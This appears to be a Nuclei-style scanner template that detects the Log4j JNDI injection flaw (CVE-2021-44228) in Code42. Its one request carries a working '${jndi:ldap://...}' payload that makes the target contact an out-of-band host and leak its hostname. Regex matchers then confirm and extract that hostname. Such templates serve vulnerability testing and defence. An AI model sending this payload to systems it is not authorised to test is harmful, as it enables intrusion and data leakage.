36 lines
1.1 KiB
YAML
36 lines
1.1 KiB
YAML
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id: code42-log4j-rce
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info:
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name: Log4j Code42 RCE
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author: Adam Crosser
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severity: critical
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description: Remote code execution via log4j vulnerability
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reference: https://support.code42.com/Terms_and_conditions/Code42_customer_support_resources/Code42_response_to_industry_security_incidents
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classification:
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cve-id: CVE-2021-44228
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tags: jndi,log4j,rce,cve,cve2021,oast,code42
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requests:
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- method: GET
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path:
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- '{{BaseURL}}/c42api/v3/LoginConfiguration?username=${jndi:ldap://${hostName}.{{interactsh-url}}/test}&url=https://localhost'
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
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extractors:
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- type: regex
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part: interactsh_request
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group: 1
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
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